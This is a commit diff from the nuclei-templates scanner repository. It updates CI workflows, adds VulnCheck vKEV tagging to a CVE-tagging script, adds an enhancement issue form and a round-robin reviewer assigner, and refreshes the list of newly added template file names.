lint - fix

Create rtl-tcp-server-detection.yaml

.github/ISSUE_TEMPLATE/enhancement.yml

@@ -0,0 +1,73 @@
+name: Enhancement Request
+description: Suggest an improvement or enhancement for nuclei-templates.
+title: "[ENHANCEMENT] ..."
+labels: ["enhancement"]
+body:
+  - type: markdown
+    attributes:
+      value: |
+        Thanks for taking the time to suggest an enhancement!
+
+        :warning: **Issues missing important information may be closed without further investigation.**
+  - type: checkboxes
+    attributes:
+      label: Is there an existing issue for this?
+      description: Please search to see if an issue or discussion already exists for the enhancement you are proposing.
+      options:
+      - label: I have searched the existing issues and discussions.
+        required: true
+  - type: textarea
+    attributes:
+      label: Enhancement Description
+      description: |
+        Provide a clear and concise description of the enhancement you're proposing.
+
+        What would you like to see improved or added?
+      placeholder: |
+        A clear description of what you want to happen...
+    validations:
+      required: true
+  - type: textarea
+    attributes:
+      label: Use Case / Problem
+      description: |
+        Describe the use case or problem that this enhancement would solve.
+
+        Why is this enhancement needed? What problem does it address?
+      placeholder: |
+        Currently, when...
+        This causes...
+        It would be better if...
+    validations:
+      required: true
+  - type: textarea
+    attributes:
+      label: Proposed Solution
+      description: |
+        Describe your proposed solution or implementation approach.
+
+        How do you envision this enhancement working?
+      placeholder: |
+        The enhancement could work by...
+        It should include...
+    validations:
+      required: false
+  - type: textarea
+    attributes:
+      label: Alternatives Considered
+      description: |
+        Have you considered any alternative solutions or workarounds?
+      placeholder: |
+        Alternative approach 1...
+        Alternative approach 2...
+    validations:
+      required: false
+  - type: textarea
+    attributes:
+      label: Additional Context
+      description: |
+        Add any other context, screenshots, examples, or references about the enhancement here.
+
+        Tip: You can attach images or files by clicking this area to highlight it and then dragging files in.
+    validations:
+      required: false

.github/scripts/update-kev.py

@@ -1,11 +1,12 @@
 #!/usr/bin/env python3
 """
-KEV Tagging Updater for Nuclei Templates
+Enhanced KEV and vKEV Tagging Updater for Nuclei Templates
 
-This script updates KEV (Known Exploited Vulnerabilities) tags for all CVE templates by:
+This script updates KEV and vKEV (VulnCheck Known Exploited Vulnerabilities) tags for all CVE templates by:
 1. Fetching the latest CISA KEV catalog
-2. Checking each CVE template against the KEV list
-3. Adding 'kev' tag to the tags field for KEV CVEs
+2. Fetching VulnCheck's KEV data (if API key available)
+3. Adding 'kev' tag for CISA KEV CVEs
+4. Adding 'vkev' tag for VulnCheck KEV CVEs (including those not in CISA)
 """
 
 import os
@@ -15,35 +16,39 @@ import time
 import json
 import requests
 from pathlib import Path
-from typing import Set, Optional
+from typing import Set, Optional, Dict, Tuple
 
 # Configuration
 CISA_KEV_JSON_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
+VULNCHECK_KEV_API_URL = "https://api.vulncheck.com/v3/index/vulncheck-kev"
 TIMEOUT = 30
 MAX_RETRIES = 3
+VULNCHECK_PAGE_SIZE = 100
 
-class KEVUpdater:
+class EnhancedKEVUpdater:
     def __init__(self, root_dir: str):
         self.root_dir = Path(root_dir)
         self.updated_count = 0
         self.error_count = 0
         self.cisa_kev_cves = set()
-        
+        self.vulncheck_kev_cves = set()
+        self.vulncheck_api_key = os.getenv('VULNCHECK_API_KEY')
+
     def find_cve_templates(self) -> list[Path]:
         """Find all CVE template files."""
         cve_files = []
-        
+
         # Search for CVE templates in common directories
         patterns = [
             "**/cves/**/*.yaml",
             "**/cve-*.yaml"
         ]
-        
+
         for pattern in patterns:
             cve_files.extend(self.root_dir.glob(pattern))
-        
+
         return sorted(list(set(cve_files)))
-    
+
     def extract_cve_id(self, file_path: Path) -> Optional[str]:
         """Extract CVE ID from filename or template content."""
         # First try filename
@@ -51,7 +56,7 @@ class KEVUpdater:
         cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
         if cve_match:
             return cve_match.group().upper()
-        
+
         # If not found in filename, try content
         try:
             with open(file_path, 'r', encoding='utf-8') as f:
@@ -61,187 +66,290 @@ class KEVUpdater:
                     return cve_match.group(1).upper()
         except Exception as e:
             print(f"Error reading {file_path}: {e}")
-            
+
         return None
-    
+
     def fetch_cisa_kev_data(self) -> Set[str]:
         """Fetch CISA KEV catalog and return set of CVE IDs."""
         kev_cves = set()
-        
+
         for attempt in range(MAX_RETRIES):
             try:
                 print("Fetching CISA KEV catalog...")
                 response = requests.get(CISA_KEV_JSON_URL, timeout=TIMEOUT)
                 response.raise_for_status()
-                
+
                 data = response.json()
-                
+
                 if 'vulnerabilities' in data:
                     for vuln in data['vulnerabilities']:
                         if 'cveID' in vuln:
                             kev_cves.add(vuln['cveID'].upper())
-                    
+
                     print(f"Retrieved {len(kev_cves)} CVEs from CISA KEV catalog")
                     break
                 else:
                     print("Invalid CISA KEV data format")
-                    
+
             except requests.RequestException as e:
                 print(f"CISA KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
                 if attempt == MAX_RETRIES - 1:
                     print("Failed to fetch CISA KEV data")
                 else:
                     time.sleep(2 * (attempt + 1))
-            
+
             except Exception as e:
                 print(f"Unexpected error fetching CISA KEV: {e}")
                 break
-        
+
         return kev_cves
-    
-    def has_kev_tag(self, content: str) -> bool:
-        """Check if template already has KEV tag in tags field."""
-        # Look for tags field and check if kev is present
+
+    def fetch_vulncheck_kev_data(self) -> Set[str]:
+        """Fetch VulnCheck KEV catalog and return set of CVE IDs."""
+        if not self.vulncheck_api_key:
+            print("VulnCheck API key not available, skipping vKEV data fetch")
+            return set()
+
+        vkev_cves = set()
+        page = 1
+        total_pages = None
+        pages_fetched = 0
+
+        print("Fetching VulnCheck KEV catalog...")
+
+        while True:
+            for attempt in range(MAX_RETRIES):
+                try:
+                    headers = {
+                        'Authorization': f'Bearer {self.vulncheck_api_key}',
+                        'Accept': 'application/json'
+                    }
+
+                    params = {
+                        'limit': VULNCHECK_PAGE_SIZE,
+                        'page': page
+                    }
+
+                    response = requests.get(VULNCHECK_KEV_API_URL, headers=headers, params=params, timeout=TIMEOUT)
+                    response.raise_for_status()
+
+                    data = response.json()
+
+                    if 'data' in data and data['data']:
+                        for entry in data['data']:
+                            if 'cve' in entry and entry['cve']:
+                                for cve_id in entry['cve']:
+                                    if cve_id and cve_id.startswith('CVE-'):
+                                        vkev_cves.add(cve_id.upper())
+
+                        # Check pagination info
+                        meta = data.get('_meta', {})
+                        total_pages = meta.get('total_pages', 0)
+                        current_page = meta.get('page', page)
+
+                        pages_fetched += 1
+                        print(f"Fetched page {current_page}/{total_pages} ({len(data['data'])} entries, {len(vkev_cves)} unique CVEs so far)")
+
+                        # Check if we've reached the last page
+                        if current_page >= total_pages:
+                            print(f"Completed fetching all {pages_fetched} pages")
+                            return vkev_cves
+
+                        # Rate limiting: small delay between requests to avoid hitting API limits
+                        if pages_fetched % 10 == 0:  # Every 10 pages, longer delay
+                            print(f"Pausing for rate limiting after {pages_fetched} pages...")
+                            time.sleep(2)
+                        else:
+                            time.sleep(0.5)  # Small delay between requests
+
+                        page += 1
+                        break  # Break retry loop, continue to next page
+                    else:
+                        print("No more VulnCheck KEV data")
+                        return vkev_cves
+
+                except requests.RequestException as e:
+                    print(f"VulnCheck KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}, page {page}): {e}")
+                    if attempt == MAX_RETRIES - 1:
+                        print(f"Failed to fetch VulnCheck KEV data for page {page}")
+                        return vkev_cves  # Return what we have so far
+                    else:
+                        # Exponential backoff with rate limiting consideration
+                        delay = min(10, 2 * (attempt + 1))
+                        print(f"Retrying after {delay} seconds...")
+                        time.sleep(delay)
+
+                except Exception as e:
+                    print(f"Unexpected error fetching VulnCheck KEV: {e}")
+                    return vkev_cves  # Return what we have so far
+
+        print(f"Retrieved {len(vkev_cves)} CVEs from VulnCheck KEV catalog")
+        return vkev_cves
+
+    def has_tag(self, content: str, tag: str) -> bool:
+        """Check if template already has specific tag in tags field."""
+        # Look for tags field and check if tag is present
         tags_match = re.search(r'tags:\s*([^\n]+)', content)
         if tags_match:
             tags_str = tags_match.group(1)
-            # Check for kev as a standalone tag (not part of another word)
-            if re.search(r'\bkev\b', tags_str, re.IGNORECASE):
+            # Check for tag as a standalone tag (not part of another word)
+            if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
                 return True
         return False
-    
-    def add_kev_tag(self, content: str) -> tuple[str, bool]:
-        """Add kev tag to the tags field. Returns (updated_content, was_updated)."""
-        if self.has_kev_tag(content):
+
+    def add_tag(self, content: str, tag: str) -> tuple[str, bool]:
+        """Add tag to the tags field. Returns (updated_content, was_updated)."""
+        if self.has_tag(content, tag):
             return content, False
-        
+
         # Find the tags field
         tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
         if tags_match:
             indent = tags_match.group(1)
             existing_tags = tags_match.group(2).rstrip()
-            
-            # Add kev tag at the end
-            new_tags = existing_tags + ',kev'
+
+            # Add tag at the end
+            new_tags = existing_tags + f',{tag}'
             new_line = f"{indent}{new_tags}"
-            
+
             updated_content = content.replace(tags_match.group(0), new_line)
             return updated_content, True
         else:
-            print("Warning: No tags field found to add kev tag")
+            print(f"Warning: No tags field found to add {tag} tag")
             return content, False
-    
-    def remove_kev_tag(self, content: str) -> tuple[str, bool]:
-        """Remove kev tag from the tags field. Returns (updated_content, was_updated)."""
-        if not self.has_kev_tag(content):
+
+    def remove_tag(self, content: str, tag: str) -> tuple[str, bool]:
+        """Remove tag from the tags field. Returns (updated_content, was_updated)."""
+        if not self.has_tag(content, tag):
             return content, False
-        
+
         # Find and update tags field
         tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
         if tags_match:
             indent = tags_match.group(1)
             existing_tags = tags_match.group(2)
-            
-            # Remove kev tag in various positions
+
+            # Remove tag in various positions
             new_tags = existing_tags
-            # Remove ,kev or kev, patterns
-            new_tags = re.sub(r',\s*kev\b', '', new_tags)
-            new_tags = re.sub(r'\bkev\s*,', '', new_tags) 
-            new_tags = re.sub(r'^\s*kev\s*$', '', new_tags)  # kev is only tag
-            new_tags = re.sub(r'^\s*kev\s*,\s*', '', new_tags)  # kev is first tag
-            
+            # Remove ,tag or tag, patterns
+            new_tags = re.sub(rf',\s*{tag}\b', '', new_tags)
+            new_tags = re.sub(rf'\b{tag}\s*,', '', new_tags)
+            new_tags = re.sub(rf'^\s*{tag}\s*$', '', new_tags)  # tag is only tag
+            new_tags = re.sub(rf'^\s*{tag}\s*,\s*', '', new_tags)  # tag is first tag
+
             if new_tags != existing_tags:
                 new_line = f"{indent}{new_tags}"
                 updated_content = content.replace(tags_match.group(0), new_line)
                 return updated_content, True
-        
+
         return content, False
-    
-    def update_template_with_kev(self, file_path: Path, cve_id: str, is_kev: bool) -> bool:
-        """Update a template file with KEV tags."""
+
+    def update_template_tags(self, file_path: Path, cve_id: str, is_cisa_kev: bool, is_vulncheck_kev: bool) -> bool:
+        """Update a template file with KEV and vKEV tags."""
         try:
             with open(file_path, 'r', encoding='utf-8') as f:
                 content = f.read()
-            
+
             original_content = content
             updated = False
-            
-            if is_kev:
+
+            # Handle CISA KEV tag
+            if is_cisa_kev:
                 # Add kev tag if missing
-                content, tag_added = self.add_kev_tag(content)
+                content, tag_added = self.add_tag(content, 'kev')
                 if tag_added:
                     print(f"Added kev tag to {file_path.name}")
                     updated = True
             else:
-                # Remove kev tag if present but CVE is not in KEV catalog
-                if self.has_kev_tag(content):
+                # Remove kev tag if present but CVE is not in CISA KEV catalog
+                if self.has_tag(content, 'kev'):
                     # Only remove if we're confident about our KEV data
                     if len(self.cisa_kev_cves) > 1000:  # Sanity check
-                        content, tag_removed = self.remove_kev_tag(content)
+                        content, tag_removed = self.remove_tag(content, 'kev')
                         if tag_removed:
-                            print(f"Removed kev tag from {file_path.name} (no longer in KEV catalog)")
+                            print(f"Removed kev tag from {file_path.name} (no longer in CISA KEV catalog)")
                             updated = True
                     else:
-                        print(f"Warning: {cve_id} has kev tag but not in current KEV catalog (keeping tag)")
-            
+                        print(f"Warning: {cve_id} has kev tag but not in current CISA KEV catalog (keeping tag)")
+
+            # Handle VulnCheck KEV tag
+            if is_vulncheck_kev:
+                # Add vkev tag if missing
+                content, tag_added = self.add_tag(content, 'vkev')
+                if tag_added:
+                    print(f"Added vkev tag to {file_path.name}")
+                    updated = True
+            else:
+                # Remove vkev tag if present but CVE is not in VulnCheck KEV catalog
+                if self.has_tag(content, 'vkev') and len(self.vulncheck_kev_cves) > 100:  # Sanity check
+                    content, tag_removed = self.remove_tag(content, 'vkev')
+                    if tag_removed:
+                        print(f"Removed vkev tag from {file_path.name} (no longer in VulnCheck KEV catalog)")
+                        updated = True
+
             # Write updated content if changes were made
             if updated:
                 with open(file_path, 'w', encoding='utf-8') as f:
                     f.write(content)
                 return True
-            
+
             return False
-            
+
         except Exception as e:
             print(f"Error updating {file_path}: {e}")
             self.error_count += 1
             return False
-    
+
     def run(self):
         """Main execution function."""
-        print("Starting KEV tagging update...")
-        
+        print("Starting enhanced KEV/vKEV tagging update...")
+
         # Fetch KEV data
         self.cisa_kev_cves = self.fetch_cisa_kev_data()
-        
-        if not self.cisa_kev_cves:
-            print("No CISA KEV data available, exiting")
+        self.vulncheck_kev_cves = self.fetch_vulncheck_kev_data()
+
+        if not self.cisa_kev_cves and not self.vulncheck_kev_cves:
+            print("No KEV data available, exiting")
             return
-        
+
         # Find all CVE templates
         template_files = self.find_cve_templates()
         print(f"Found {len(template_files)} CVE template files")
-        
+
         if not template_files:
             print("No CVE templates found!")
             return
-        
+
         # Process templates
-        kev_found = 0
-        non_kev_with_tag = 0
-        
+        cisa_kev_found = 0
+        vulncheck_kev_found = 0
+        both_kev_found = 0
+
         for file_path in template_files:
             cve_id = self.extract_cve_id(file_path)
             if cve_id:
-                is_kev = cve_id in self.cisa_kev_cves
-                
-                if is_kev:
-                    kev_found += 1
-                
-                if self.update_template_with_kev(file_path, cve_id, is_kev):
+                is_cisa_kev = cve_id in self.cisa_kev_cves
+                is_vulncheck_kev = cve_id in self.vulncheck_kev_cves
+
+                if is_cisa_kev:
+                    cisa_kev_found += 1
+                if is_vulncheck_kev:
+                    vulncheck_kev_found += 1
+                if is_cisa_kev and is_vulncheck_kev:
+                    both_kev_found += 1
+
+                if self.update_template_tags(file_path, cve_id, is_cisa_kev, is_vulncheck_kev):
                     self.updated_count += 1
-                
-                # Track non-KEV CVEs that have kev tags for reporting
-                if not is_kev and self.has_kev_tag(open(file_path, 'r').read()):
-                    non_kev_with_tag += 1
             else:
                 print(f"Could not extract CVE ID from {file_path}")
-        
-        print(f"\nKEV update complete!")
+
+        print(f"\nEnhanced KEV/vKEV update complete!")
         print(f"Templates updated: {self.updated_count}")
-        print(f"KEV CVEs found in templates: {kev_found}")
+        print(f"CISA KEV CVEs found in templates: {cisa_kev_found}")
+        print(f"VulnCheck KEV CVEs found in templates: {vulncheck_kev_found}")
+        print(f"CVEs in both CISA and VulnCheck KEV: {both_kev_found}")
         print(f"CISA KEV catalog size: {len(self.cisa_kev_cves)}")
-        print(f"Non-KEV templates with kev tags: {non_kev_with_tag}")
+        print(f"VulnCheck KEV catalog size: {len(self.vulncheck_kev_cves)}")
         print(f"Errors: {self.error_count}")
 
 def main():
@@ -250,8 +358,8 @@ def main():
         root_dir = sys.argv[1]
     else:
         root_dir = os.getcwd()
-    
-    updater = KEVUpdater(root_dir)
+
+    updater = EnhancedKEVUpdater(root_dir)
     updater.run()
 
 if __name__ == "__main__":

.github/workflows/autoassign.yml

@@ -1,26 +1,164 @@
-name: 🤖 issue/pr assignment
-on:
-#  pull_request:
-#    types: [opened]
-#    branches: 
-#      - main
-  issues:
-    types: [opened]
+name: Auto-assign on open
 
-env:
-  ASSIGN_TASK_TOKEN: ${{ secrets.PDTEAMX_PAT }} # github personal token
+on:
+  issues:
+    types: [opened, reopened]
+  # Use pull_request_target so the job has permissions on PRs from forks.
+  pull_request_target:
+    types: [opened, ready_for_review, reopened]
+
+permissions:
+  contents: read
+  issues: write
+  pull-requests: write
+
+concurrency:
+  group: auto-assign-on-open
+  cancel-in-progress: false
 
 jobs:
-  build:
-    permissions: write-all
+  assign:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v5 # checkout the repository content
-      - uses: actions/setup-python@v5
+      - uses: actions/github-script@v8
         with:
-          python-version: '3.10' # install the python version needed
-      - run: pip install requests
-#      - if: github.event_name == 'pull_request'
-#        run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
-      - if: github.event_name == 'issues'
-        run: python .github/scripts/assign_tasks.py ${{ github.event.issue.number }} issue ${{ secrets.GITHUB_TOKEN }}
+          script: |
+            const ORG = context.repo.owner;
+            const REPO = context.repo.repo;
+
+            // ======= CONFIG: put your user pools here =======
+            // Usernames must be GitHub logins and collaborators on this repo.
+            const ISSUE_ASSIGNEES = [
+              "princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+            ];
+            const REVIEW_POOL = [
+              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+            ];
+            const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
+            // ================================================
+
+            function toLowerAll(xs){ return xs.map(x => x.toLowerCase()); }
+            const issuePool = new Set(toLowerAll(ISSUE_ASSIGNEES));
+            const reviewPool = new Set(toLowerAll(REVIEW_POOL));
+            const sinceISO = new Date(Date.now() - LOOKBACK_DAYS*24*60*60*1000).toISOString();
+
+            // Simple "least recent then fewest in lookback" picker
+            function initMap(arr){ const m=new Map(); for(const a of arr) m.set(a,0); return m; }
+            const issueCounts = initMap(issuePool);
+            const prAssigneeCounts = initMap(reviewPool);
+            const prReviewerCounts = initMap(reviewPool);
+            const lastIssueAssign = new Map();
+            const lastPrAssignee = new Map();
+            const lastPrReviewer = new Map();
+
+            function pick(countsMap, lastMap, exclude=new Set()){
+              const cands = [...countsMap.keys()].filter(x => !exclude.has(x));
+              if (!cands.length) return null;
+              cands.sort((a,b)=>{
+                const ca=countsMap.get(a)||0, cb=countsMap.get(b)||0;
+                if (ca!==cb) return ca-cb;
+                const ta=lastMap.get(a)?.getTime()||0, tb=lastMap.get(b)?.getTime()||0;
+                if (ta!==tb) return ta-tb;
+                return a.localeCompare(b);
+              });
+              return cands[0];
+            }
+
+            async function buildIssueStats(){
+              for await (const page of github.paginate.iterator(
+                github.rest.issues.listForRepo,
+                { owner: ORG, repo: REPO, state: 'all', since: sinceISO, per_page: 100 }
+              )){
+                for (const it of page.data){
+                  if (it.pull_request) continue;
+                  const ts = new Date(it.created_at);
+                  if (ts < new Date(sinceISO)) continue;
+                  for (const a of (it.assignees||[])){
+                    const l=a.login.toLowerCase();
+                    if (issuePool.has(l)){
+                      issueCounts.set(l,(issueCounts.get(l)||0)+1);
+                      const lastTs = lastIssueAssign.get(l);
+                      if (!lastTs || ts > lastTs) lastIssueAssign.set(l, ts);
+                    }
+                  }
+                }
+              }
+            }
+
+            async function buildPrStats(){
+              for await (const page of github.paginate.iterator(
+                github.rest.pulls.list,
+                { owner: ORG, repo: REPO, state: 'all', per_page: 100 }
+              )){
+                for (const pr of page.data){
+                  const ts = new Date(pr.created_at);
+                  if (ts < new Date(sinceISO)) continue;
+                  // Count all assignees (plural)
+                  for (const a of (pr.assignees||[])){
+                    const l = a.login.toLowerCase();
+                    if (reviewPool.has(l)){
+                      prAssigneeCounts.set(l,(prAssigneeCounts.get(l)||0)+1);
+                      const lastTs = lastPrAssignee.get(l);
+                      if (!lastTs || ts > lastTs) lastPrAssignee.set(l, ts);
+                    }
+                  }
+                  // Count all reviewers separately
+                  for (const r of (pr.requested_reviewers||[])){
+                    const l=r.login.toLowerCase();
+                    if (reviewPool.has(l)){
+                      prReviewerCounts.set(l,(prReviewerCounts.get(l)||0)+1);
+                      const lastTs = lastPrReviewer.get(l);
+                      if (!lastTs || ts > lastTs) lastPrReviewer.set(l, ts);
+                    }
+                  }
+                }
+              }
+            }
+
+            // Build stats once per run (cheap enough for small repos)
+            await Promise.all([buildIssueStats(), buildPrStats()]);
+
+            // Determine context
+            if (context.eventName === 'issues') {
+              const issue = context.payload.issue;
+              if (issue.pull_request) return; // guard
+              if ((issue.assignees||[]).length>0) return;
+
+              const pickee = pick(issueCounts, lastIssueAssign);
+              if (!pickee) return;
+
+              await github.rest.issues.addAssignees({
+                owner: ORG, repo: REPO, issue_number: issue.number, assignees: [pickee]
+              });
+
+            } else if (context.eventName === 'pull_request_target') {
+              const pr = context.payload.pull_request;
+              const prNum = pr.number;
+
+              const author = (pr.user?.login||"").toLowerCase();
+              const assignee = pr.assignee?.login?.toLowerCase();
+
+              // Ensure one assignee (use assignee counts only)
+              let finalAssignee = assignee;
+              if (!finalAssignee) {
+                const a = pick(prAssigneeCounts, lastPrAssignee, new Set([author]));
+                if (a) {
+                  await github.rest.issues.addAssignees({
+                    owner: ORG, repo: REPO, issue_number: prNum, assignees: [a]
+                  });
+                  finalAssignee = a;
+                }
+              }
+
+              // One reviewer, not the author, not the assignee (use reviewer counts only)
+              const already = new Set((pr.requested_reviewers||[]).map(x=>x.login.toLowerCase()));
+              if (already.size === 0 && !pr.draft) {
+                const exclude = new Set([author, finalAssignee].filter(Boolean));
+                const reviewer = pick(prReviewerCounts, lastPrReviewer, exclude);
+                if (reviewer) {
+                  await github.rest.pulls.requestReviewers({
+                    owner: ORG, repo: REPO, pull_number: prNum, reviewers: [reviewer]
+                  });
+                }
+              }
+            }

.github/workflows/epss-update.yml

@@ -15,7 +15,7 @@ jobs:
         uses: actions/checkout@v5
 
       - name: Setup Python
-        uses: actions/setup-python@v5
+        uses: actions/setup-python@v6
         with:
           python-version: '3.11'
 

.github/workflows/kev-update.yml

@@ -1,4 +1,4 @@
-name: 📋 KEV Tag Update
+name: 📋 KEV & vKEV Tag Update
 
 on:
   schedule:
@@ -15,7 +15,7 @@ jobs:
         uses: actions/checkout@v5
 
       - name: Setup Python
-        uses: actions/setup-python@v5
+        uses: actions/setup-python@v6
         with:
           python-version: '3.11'
 
@@ -23,10 +23,10 @@ jobs:
         run: |
           pip install requests pyyaml
 
-      - name: Update KEV tags
+      - name: Update KEV and vKEV tags
         run: python .github/scripts/update-kev.py
         env:
-          # Optional: Add VulnCheck API key if available
+          # VulnCheck API key for enhanced vKEV data
           VULNCHECK_API_KEY: ${{ secrets.VULNCHECK_API_KEY }}
 
       - name: Check for changes
@@ -47,7 +47,7 @@ jobs:
         uses: projectdiscovery/actions/commit@v1
         with:
           files: '**/cves/**/*.yaml'
-          message: 'chore: update KEV tags and metadata 🤖'
+          message: 'chore: update KEV and vKEV tags and metadata 🤖'
 
       - name: Push changes
         if: steps.changes.outputs.changes == 'true'

.github/workflows/readme-update.yml

@@ -14,7 +14,7 @@ jobs:
     steps:
       - run: sudo apt-get install tree -y
       - uses: actions/checkout@v5
-      - uses: actions/setup-python@v5
+      - uses: actions/setup-python@v6
         with:
           python-version: "3.8"
       - run: python .github/scripts/update-readme.py

.github/workflows/template-sign.yml

@@ -41,9 +41,9 @@ jobs:
       - uses: actions/checkout@v5
       
       - name: Set up Go
-        uses: actions/setup-go@v5
+        uses: actions/setup-go@v6
         with:
-          go-version: '1.21'
+          go-version: '1.24'
           
       - name: Install Nuclei
         run: |

.github/workflows/tests.yml

@@ -61,7 +61,7 @@ jobs:
         env:
           CHANGED_FILES: '${{ steps.filter.outputs.changed_files }}'
         working-directory: '.github/scripts/'
-      - uses: actions/github-script@v7
+      - uses: actions/github-script@v8
         if: steps.check.outputs.weak == 'true'
         with:
           script: |

.github/workflows/wordpress-plugins-update.yml

@@ -13,7 +13,7 @@ jobs:
         uses: actions/checkout@v5
 
       - name: Install Python3
-        uses: actions/setup-python@v5
+        uses: actions/setup-python@v6
         with:
           python-version: "3.10"
 

.new-additions

@@ -1,23 +1,54 @@
-headless/cves/2025/CVE-2025-50738.yaml
-http/cves/2024/CVE-2024-11972.yaml
-http/cves/2024/CVE-2024-29028.yaml
-http/cves/2024/CVE-2024-29029.yaml
-http/cves/2024/CVE-2024-51568.yaml
-http/cves/2025/CVE-2025-23061.yaml
-http/cves/2025/CVE-2025-3515.yaml
-http/cves/2025/CVE-2025-53118.yaml
-http/cves/2025/CVE-2025-57822.yaml
-http/exposures/configs/n8n-config.yaml
-http/global-matchers/global-waf-detect.yaml
-http/misconfiguration/missing-cookie-samesite-strict.yaml
-http/takeovers/framer-takeover.yaml
-http/technologies/dkron-detect.yaml
-http/technologies/hugegraph-studio-detect.yaml
-http/vulnerabilities/other/dkron-unauth-rce.yaml
-javascript/detection/pigeonhole-sieve-detect.yaml
-javascript/misconfiguration/netstat-service-expose.yaml
-javascript/udp/detection/zeroconf-detect.yaml
-network/detection/ftp-detect.yaml
-network/detection/sap-dispatcher-detect.yaml
-network/detection/sap-router-detect.yaml
-workflows/ftp-workflow.yaml
+code/cves/2024/CVE-2024-47575.yaml
+code/misconfiguration/dns-axfr-enabled.yaml
+http/cves/2018/CVE-2018-6882.yaml
+http/cves/2019/CVE-2019-11507.yaml
+http/cves/2021/CVE-2021-41419.yaml
+http/cves/2021/CVE-2021-45467.yaml
+http/cves/2022/CVE-2022-26143.yaml
+http/cves/2023/CVE-2023-2437.yaml
+http/cves/2023/CVE-2023-34048.yaml
+http/cves/2024/CVE-2024-0799.yaml
+http/cves/2024/CVE-2024-0801.yaml
+http/cves/2024/CVE-2024-10146.yaml
+http/cves/2024/CVE-2024-11238.yaml
+http/cves/2024/CVE-2024-27443.yaml
+http/cves/2024/CVE-2024-28623.yaml
+http/cves/2024/CVE-2024-4180.yaml
+http/cves/2024/CVE-2024-6690.yaml
+http/cves/2025/CVE-2025-1023.yaml
+http/cves/2025/CVE-2025-1302.yaml
+http/cves/2025/CVE-2025-24354.yaml
+http/cves/2025/CVE-2025-32429.yaml
+http/cves/2025/CVE-2025-41243.yaml
+http/cves/2025/CVE-2025-51482.yaml
+http/cves/2025/CVE-2025-52472.yaml
+http/cves/2025/CVE-2025-52665.yaml
+http/cves/2025/CVE-2025-54236.yaml
+http/cves/2025/CVE-2025-54253.yaml
+http/cves/2025/CVE-2025-55190.yaml
+http/cves/2025/CVE-2025-5605.yaml
+http/cves/2025/CVE-2025-58443.yaml
+http/cves/2025/CVE-2025-59287.yaml
+http/cves/2025/CVE-2025-6174.yaml
+http/cves/2025/CVE-2025-61884.yaml
+http/cves/2025/CVE-2025-6403.yaml
+http/cves/2025/CVE-2025-64095.yaml
+http/cves/2025/CVE-2025-9985.yaml
+http/default-logins/churchcrm/churchcrm-default-login.yaml
+http/exposed-panels/churchcrm-panel.yaml
+http/exposures/backups/generic-php-files.yaml
+http/misconfiguration/aem/aem-dispatcher-bypass.yaml
+http/misconfiguration/aem/aem-querybuilder-bypass.yaml
+http/misconfiguration/installer/churchcrm-installer.yaml
+http/misconfiguration/tomcat-snoop-servlet-exposed.yaml
+http/takeovers/mailgun-takeover.yaml
+http/vulnerabilities/generic/xss-uri-reflected.yaml
+http/vulnerabilities/unifi/unifi-create-user.yaml
+http/vulnerabilities/unifi/unifi-nfc-credentials.yaml
+javascript/cves/2019/CVE-2019-6443.yaml
+javascript/detection/ntp-version-detect.yaml
+javascript/misconfiguration/mqtt-uauth-broker.yaml
+javascript/udp/misconfiguration/ntp-enum-variables-enabled.yaml
+network/cves/2020/CVE-2020-14644.yaml
+network/cves/2024/CVE-2024-23108.yaml
+network/detection/rtl-tcp-server-detect.yaml

CONTRIBUTING.md

@@ -21,7 +21,7 @@ This documentation contains a set of guidelines to help you during the contribut
 
 - Take a look at the [Existing Templates](https://github.com/projectdiscovery/nuclei-templates) or search for endpoints before creating new one.
 - Take a look at Existing Templates in [GitHub Issues](https://github.com/projectdiscovery/nuclei-templates/issues) and [Pull Request](https://github.com/projectdiscovery/nuclei-templates/pulls) section to avoid duplicate work.
-- Take a look at [Templates](https://nuclei.projectdiscovery.io/templating-guide/) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers) Guideline for creating new template.
+- Take a look at [Templates](TEMPLATE-CREATION-GUIDE.md) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/How-to-Write-Unique-Matchers-in-Nuclei-Templates) Guideline for creating new template.
 
 Along with the P.O.C following are the required fields in the info section for submitting new template.
 

README_KR.md

@@ -31,7 +31,7 @@ Nuclei 템플릿
 
 템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
 이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
-템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.
+**pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)를 통해 템플릿을 보내주시는 기여도 환영합니다.
 
 ## Nuclei 템플릿 개요
 
@@ -44,19 +44,19 @@ Nuclei 템플릿
 ## Nuclei 템플릿 통계 Top 10
 
 |    태그    | 개수 |    작성자     | 개수 |    디렉토리     | 개수 | 심각도 | 개수 |  종류   | 개수 |
-|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1325 | daffainfo     |   629 | cves             |  1306 | info     |  1398 | http    |  3644 |
-| panel     |   604 | dhiyaneshdk   |   509 | exposed-panels   |   613 | high     |   955 | file    |    76 |
-| lfi       |   490 | pikpikcu      |   322 | vulnerabilities  |   506 | medium   |   784 | network |    50 |
-| xss       |   451 | pdteam        |   269 | technologies     |   273 | critical |   445 | dns     |    17 |
